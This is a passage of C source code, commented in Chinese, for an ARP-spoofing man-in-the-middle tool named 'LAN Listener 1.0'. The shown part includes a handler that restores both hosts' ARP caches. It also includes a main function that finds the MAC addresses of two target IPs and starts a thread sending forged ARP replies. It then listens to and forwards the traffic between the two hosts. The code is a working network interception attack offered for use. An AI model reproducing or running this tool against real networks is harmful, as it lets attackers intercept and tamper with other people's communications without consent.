memcpy(eth->ether_dhost,global_mac1,ETH_ALEN); memcpy(eth->ether_shost,global_mac2,ETH_ALEN); eth->ether_type = htons(ETHERTYPE_ARP); /** * 构造arp各个数据字段。 */ arp->arp_hrd = htons(ARPHRD_ETHER); arp->arp_pro = htons(ETHERTYPE_IP); arp->arp_hln = ETH_ALEN; arp->arp_pln = 4; arp->arp_op = htons(ARPOP_REPLY); memcpy(arp->arp_sha,global_mac2,ETH_ALEN); memcpy(arp->arp_spa,&in_addr2,4); memcpy(arp->arp_tha,global_mac1,ETH_ALEN); memcpy(arp->arp_tpa,&in_addr1,4); /** * 构造第二个arp报文 */ eth = (struct ether_header*) buffer2; arp = (struct ether_arp*) (buffer2 + sizeof(struct ether_header)); /** * 构造以太网头部,目标mac为主机2的mac,源mac为主机1的mac,即恢复主机2的缓存表。 */ //memcpy(eth->ether_dhost,global_mac2,ETH_ALEN); memcpy(eth->ether_dhost,ff_mac,ETH_ALEN); memcpy(eth->ether_shost,global_mac1,ETH_ALEN); eth->ether_type = htons(ETHERTYPE_ARP); /** * 构造arp各个数据字段。 */ arp->arp_hrd = htons(ARPHRD_ETHER); arp->arp_hln = ETH_ALEN; arp->arp_pro = htons(ETHERTYPE_IP); arp->arp_pln = 4; arp->arp_op = htons(ARPOP_REPLY); memcpy(arp->arp_sha,global_mac1,ETH_ALEN); memcpy(arp->arp_spa,&in_addr1,4); memcpy(arp->arp_tha,global_mac2,ETH_ALEN); memcpy(arp->arp_tpa,&in_addr2,4); int n,sum = 2; /** *将线程结束标志置为真,结束攻击线程。 */ thread_stop = 1; sleep(1); printf("开始恢复主机缓存表----------------------------------------------------------\n"); while(sum > 0){ /** * 发送ARP 应答报文到目标主机1 */ n = sendto(sockfd,buffer1,ETHER_BUF_LEN,0,(struct sockaddr*) &toaddr,sizeof(toaddr)); if(n < 0){ perror("sendto error"); }else printf("sendto %d byte(s)\n",n); /** * 调试语句,打印数据包各个字段值。 */ #ifdef _DEBUG printf("打印恢复包:\n"); print_ether_header(buffer1); print_arp_packet((struct ether_arp*)(buffer1+sizeof(struct ether_header))); #endif /** * 发送ARP 应答报文到目标主机2 */ n = sendto(sockfd,buffer2,ETHER_BUF_LEN,0,(struct sockaddr*) &toaddr,sizeof(toaddr)); if(n < 0){ perror("sendto error"); }else printf("sendto %d byte(s)\n",n); /** * 调试语句,打印数据包各个字段值。 */ #ifdef _DEBUG printf("打印恢复包:\n"); print_ether_header(buffer2); print_arp_packet((struct ether_arp*)(buffer2+sizeof(struct ether_header))); #endif sum--; sleep(1); } close(sockfd); exit (0); } /** * 打印软件信息。 * 2014.5.29 */ void about_listener() { printf("LAN Listener 1.0.\n"); printf("Author Wen Shifang.\n"); printf("email 772148609@qq.com\n"); printf("2014.5.29\n"); } /** * 主函数,首先请求目标主机1,2的物理地址,然后向其发送arp欺骗报文,截获二者之间的IP数据报。 * 命令行参数: * argc 参数个数。 * argv 命令行参数字串。 */ int main(int argc,char** argv) { char *net_dev_name = argv[1]; char *remote_ip1 = argv[2]; char *remote_ip2 = argv[3]; unsigned char remote_mac1[ETH_ALEN]; unsigned char remote_mac2[ETH_ALEN]; memset(remote_mac1,0,sizeof(remote_mac1)); memset(remote_mac2,0,sizeof(remote_mac2)); if(argc != 4){ printf("\tUseage: %s ifname ip1 ip2\n",argv[0]); printf("\tExample: ./main eth0 192.168.9.254 192.168.9.222\n"); exit(1); } about_listener(); if( get_mac_by_ip(net_dev_name,remote_ip1,remote_mac1) == -1){ printf("host %s no response\n",remote_ip1); exit (1); } if( get_mac_by_ip(net_dev_name,remote_ip2,remote_mac2) == -1){ printf("host %s no response\n",remote_ip2); exit (1); } printf("target 1 mac address is ---->>>> %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\ remote_mac1[0],remote_mac1[1],remote_mac1[2],remote_mac1[3],remote_mac1[4],remote_mac1[5]); printf("target 2 mac address is ---->>>> %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\ remote_mac2[0],remote_mac2[1],remote_mac2[2],remote_mac2[3],remote_mac2[4],remote_mac2[5]); struct thread_args * p = (struct thread_args*) malloc(sizeof(struct thread_args)); if(!p){ perror("malloc failed"); exit(1); } strcpy(p->interface_name,net_dev_name); strcpy(p->target_ip1,remote_ip1); strcpy(p->target_ip2,remote_ip2); memcpy(p->target_mac1,remote_mac1,ETH_ALEN); memcpy(p->target_mac2,remote_mac2,ETH_ALEN); printf("target 1 ip address is ->>>>>> %s\n",p->target_ip1); printf("target 2 ip address is ->>>>>> %s\n",p->target_ip2); /** * 创建一个字线程,定时发送ARP欺骗包 */ pthread_t tid; if(pthread_create(&tid,NULL,thread_attack,p) != 0){ perror("create thread failed"); exit(1); } /** * 注册信号处理函数,quit_handler,SIGINT [Ctrl+C]。 */ memcpy(global_mac1,remote_mac1,ETH_ALEN); memcpy(global_mac2,remote_mac2,ETH_ALEN); strcpy(global_ip1,remote_ip1); strcpy(global_ip2,remote_ip2); strcpy(ifname,net_dev_name); if(signal(SIGINT,quit_handler) == SIG_ERR){ perror("can not install signal handler"); exit(1); } /** *开始监听目标主机间的通讯,并转发。 */ attack_listen(net_dev_name,remote_ip1,remote_ip2,remote_mac1,remote_mac2); return 0; }